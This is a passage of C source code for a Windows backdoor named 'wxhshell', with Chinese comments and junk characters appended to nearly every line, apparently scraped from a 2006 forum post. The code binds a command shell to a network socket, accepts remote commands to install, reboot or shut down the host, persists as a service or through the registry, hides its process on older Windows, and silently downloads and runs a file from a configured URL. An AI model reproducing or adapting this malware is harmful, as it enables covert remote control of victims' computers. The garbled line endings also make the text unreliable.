    switch(cmd[0]) { &kR*J<)V  
  KKBrw+)AJ  
  // 帮助 B(pxyv)  
  case '?': { f`$F^=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,4Q1[K35B  
    break; 3WVH8Sb  
  } Fy; sVB  
  // 安装 ,Y:ET1:  
  case 'i': { t5| }0ID-  
    if(Install()) S/itK3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - w{`/  
    else y*G3dWb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UmR\2 cs  
    break; `rLcJcW  
    } %O69A$Q[m  
  // 卸载 Wbq0K6X  
  case 'r': { 5*O*p `Ba  
    if(Uninstall()) NmuzAZr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5@lVuMIYT  
    else g<E[IR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HUA{ P%  
    break; bu?4$O  
    } L">\c5ca  
  // 显示 wxhshell 所在路径 rD\)ndPv  
  case 'p': { fT2F$U  
    char svExeFile[MAX_PATH]; %(uYYr 6  
    strcpy(svExeFile,"\n\r"); xekU2u}WE  
      strcat(svExeFile,ExeFile); jIL+^{K<  
        send(wsh,svExeFile,strlen(svExeFile),0); &KYPi'C9!z  
    break; (# c|San  
    } &G|^{!p/G  
  // 重启 x5(6U>-Y  
  case 'b': { dwpE(G y6c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RoFOjCc>D.  
    if(Boot(REBOOT)) tEN8S]X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0!Vza?9  
    else { aw923wEi  
    closesocket(wsh); ~n"?*I`  
    ExitThread(0); O"GuVC}B  
    } Mp?Gi7o=  
    break; :MP*Xy\7&J  
    } w+wg)$i  
  // 关机 "5!T-Z+F  
  case 'd': { \{a!Z&df  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O#do\:(b  
    if(Boot(SHUTDOWN)) YMU2^,3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %/4_|.8u  
    else { ]vflx^<?  
    closesocket(wsh); xZ]QT3U+  
    ExitThread(0); EY`]""~8v  
    } ${h1(ec8  
    break; M ZAz= )-  
    } S}b^_+UbP  
  // 获取shell hm\UqIt  
  case 's': { kaT  !   
    CmdShell(wsh); N>H#Ew@2U  
    closesocket(wsh); z:ZXdB)L)  
    ExitThread(0); r j.X"  
    break; k\TP3*fD  
  } yW)r`xpY  
  // 退出 h"y~!NWn  
  case 'x': { l$&dTI<#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y3 \EX  
    CloseIt(wsh); s&4&\Aq}x#  
    break; _P` ^B  
    } T)I\?hqTB  
  // 离开 2lCgUe)N  
  case 'q': { b/w5K2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zIA)se Js  
    closesocket(wsh); 3L CT-rp  
    WSACleanup(); *iN5/w{VG  
    exit(1); &qzy?/i8  
    break; Y?qUO2  
        } 8wrO64_NO  
  } Bp_8PjQ  
  } rEMe=>^   
OQIr"  
  // 提示信息 Zq~Rkx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Nw)zS  
} 1=h5Z3/fj  
  } 1l'JoU.<  
o%,?v 9  
  return; I.'/!11>  
} >WA'/Sl<A<  
m1e Sn |)7  
// shell模块句柄 )<f4F!?,A  
int CmdShell(SOCKET sock) FHSFH>  
{ t2iQ[`/?~  
STARTUPINFO si; ~"\WV4}`v  
ZeroMemory(&si,sizeof(si)); RrT`]1".  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^?2zoS#iw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i6f42]Jy  
PROCESS_INFORMATION ProcessInfo; 4H^ACw  
char cmdline[]="cmd"; 2^=8~I!n&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EOZ 6F-':  
  return 0; ~Zn|(  
} AmZW=n2^  
{;|pcx\L6~  
// 自身启动模式 W ' ~s  
int StartFromService(void) D59q/@  
{ UpPl-jeT  
typedef struct ZWni5uF-c  
{ f62rm[  
  DWORD ExitStatus; l^^Z}3^Rk  
  DWORD PebBaseAddress; ;.Ld6JRunw  
  DWORD AffinityMask; I4|"Ztw  
  DWORD BasePriority;  .^2.h  
  ULONG UniqueProcessId; ZXN`8!]&  
  ULONG InheritedFromUniqueProcessId; `-e9#diQe  
}   PROCESS_BASIC_INFORMATION; ^s#+`Y05/  
BNF*1JO  
PROCNTQSIP NtQueryInformationProcess; 6oq5CDoq  
gj iFpW4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m[%':^vSr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?6\N&MTF  
mK/E1a)AG3  
  HANDLE             hProcess; ?lfyC/  
  PROCESS_BASIC_INFORMATION pbi;  iDx(qdla  
pN)x,<M)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C4qK52'2s  
  if(NULL == hInst ) return 0; spTz}p^\O  
+'Y?K]zbt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5JEOLPS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5rfDm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J[05T1  
-L4G)%L\  
  if (!NtQueryInformationProcess) return 0; HI{h>g T  
~]#-S20  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Y6zJ#BD  
  if(!hProcess) return 0; `K:n=hpF  
eEfGH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]l C2YD}  
1Jdx#K  
  CloseHandle(hProcess); >kxRsiKV  
U?d  I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _VRxI4q  
if(hProcess==NULL) return 0; " dGN0i  
cWG%>.`5r  
HMODULE hMod; mQ<4(qd)  
char procName[255]; .p.( \5Fo  
unsigned long cbNeeded; )hl7)~S<  
10h; N[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dn@ZS_f  
!H@HgJ -  
  CloseHandle(hProcess); =+UtA f<n  
+ kT ]qH  
if(strstr(procName,"services")) return 1; // 以服务启动 pdR\Ne0P*  
G[JWG  
  return 0; // 注册表启动 N Uv Vhy]{  
} #rF`Hk:  
_WvVF*Q"k  
// 主模块 Qu,R6G  
int StartWxhshell(LPSTR lpCmdLine) +lfO4^V  
{ z?Ok'LX  
  SOCKET wsl; |pv$],&&:  
BOOL val=TRUE; gKl9Nkd!R  
  int port=0; Sgv_YoD?-  
  struct sockaddr_in door; l*OR{!3H$  
-b{<VrZ  
  if(wscfg.ws_autoins) Install(); zwU[!i)  
T9%|B9FeJ  
port=atoi(lpCmdLine); $'>JG9M  
|U;O HS  
if(port<=0) port=wscfg.ws_port; 8 AFc=Wx  
Hi=</ Wy;  
  WSADATA data; j5Da53c#^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4_iA<}>|  
1<1+nGO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GS=E6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x>B\2;  
  door.sin_family = AF_INET; 49M1^nMvoo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nIr`T^c9c  
  door.sin_port = htons(port); j`"!G*Vh  
,mHUo4h1O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8C8S) ;  
closesocket(wsl); yyljyE  
return 1; A.("jb@I  
} ,b&h Lht  
.#bf9JOE  
  if(listen(wsl,2) == INVALID_SOCKET) { w&p(/y  
closesocket(wsl); 7 s{vou  
return 1; UO&$1rV  
} [tof+0Y6  
  Wxhshell(wsl); H7.l)'  
  WSACleanup(); P{UV3ZA%  
ZIa,pON  
return 0; MTCfs~}m  
tB"9%4](  
} {&>rKCi  
2b"DkJj'  
// 以NT服务方式启动 *E/ Mf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~WTkX(\  
{ _qf39fM;\  
DWORD   status = 0; ZSK_Lux>  
  DWORD   specificError = 0xfffffff; c'tQA  
#:0-t!<0C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G\BZ^SwE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QEf@wv;T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -*4*hHmb  
  serviceStatus.dwWin32ExitCode     = 0; 3.?be.cq  
  serviceStatus.dwServiceSpecificExitCode = 0; ?R#$ c]  
  serviceStatus.dwCheckPoint       = 0; nOL.%  
  serviceStatus.dwWaitHint       = 0; L?ht^ H  
~`QoBZ.O&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <fG\J  
  if (hServiceStatusHandle==0) return; S}VS@KDO  
3~tu\TH6d  
status = GetLastError(); i(;`x  
  if (status!=NO_ERROR) Lu.+J]Rz  
{ {CI4AT!?W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $'3xl2T  
    serviceStatus.dwCheckPoint       = 0; GW;%~qH[,  
    serviceStatus.dwWaitHint       = 0; "}qs +  
    serviceStatus.dwWin32ExitCode     = status; aH{)|?  
    serviceStatus.dwServiceSpecificExitCode = specificError; \H:T)EVy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CA0XcLiFt  
    return; rX?ZUw?u&  
  } 9/{zS3h3  
8!Wh`n<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =?.oH|&\h  
  serviceStatus.dwCheckPoint       = 0; uStAZ ~b\  
  serviceStatus.dwWaitHint       = 0; Dho6N]86r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #O}}pF  
} ;\2Z?Kq  
4\&Y;upy+  
// 处理NT服务事件,比如:启动、停止 F!EiF&[\J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QcQ%A%VIV  
{ |A 'I!Jm  
switch(fdwControl) kJ FWk  
{ /9G72AD!  
case SERVICE_CONTROL_STOP: Lcpe*C x-  
  serviceStatus.dwWin32ExitCode = 0; 9%T"W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A)sYde(  
  serviceStatus.dwCheckPoint   = 0; {m>ylE  
  serviceStatus.dwWaitHint     = 0; kaekH*m~  
  { *C5`LgeX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IB[$~sGe  
  } Pn">fWRCx  
  return; 0dC5 -/+  
case SERVICE_CONTROL_PAUSE: ZAgXz{!H(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Blzvn19'h  
  break; W]ca~%r  
case SERVICE_CONTROL_CONTINUE: g) u%?T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vz/w.%_g  
  break; _=s9o/Cn]  
case SERVICE_CONTROL_INTERROGATE: -Y/i h(I^  
  break; O+=%Mz(l  
}; 4kM/`g6?,q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f<@!{y 2Xe  
} ^-~JkW'z  
? x #K:a?  
// 标准应用程序主函数 ~< bpdI0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H\ejW@< ;h  
{ mfQ#n!{ZH  
vNGE]+QX  
// 获取操作系统版本 edp I?  
OsIsNt=GetOsVer(); VjM3M<!g>M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \s5Uvws  
|g3:+&  
  // 从命令行安装 b/z-W`gw  
  if(strpbrk(lpCmdLine,"iI")) Install(); ja_8n["z  
4$&l`yWU+  
  // 下载执行文件 /=/Ki%hh  
if(wscfg.ws_downexe) { )FQ"l{P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @=VxW U  
  WinExec(wscfg.ws_filenam,SW_HIDE); M-"j8:en  
} _K~h? \u  
lWId 0eNS  
if(!OsIsNt) { eA4:]A"  
// 如果时win9x,隐藏进程并且设置为注册表启动 +Ua|0>?  
HideProc(); F$?Ab\#B  
StartWxhshell(lpCmdLine); ;yt6Yp.6e  
} ?N<My& E  
else U8Y%rFh1  
  if(StartFromService()) Q[j| 2U  
  // 以服务方式启动 !RmVb}m  
  StartServiceCtrlDispatcher(DispatchTable); j HHWq>=d  
else ]u_j6y!  
  // 普通方式启动 rY_~(?XS  
  StartWxhshell(lpCmdLine); 9Lb96K?=>  
nTqU~'d'  
return 0; CjQO5  
}
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只看该作者 1 发表于: 2006-10-10
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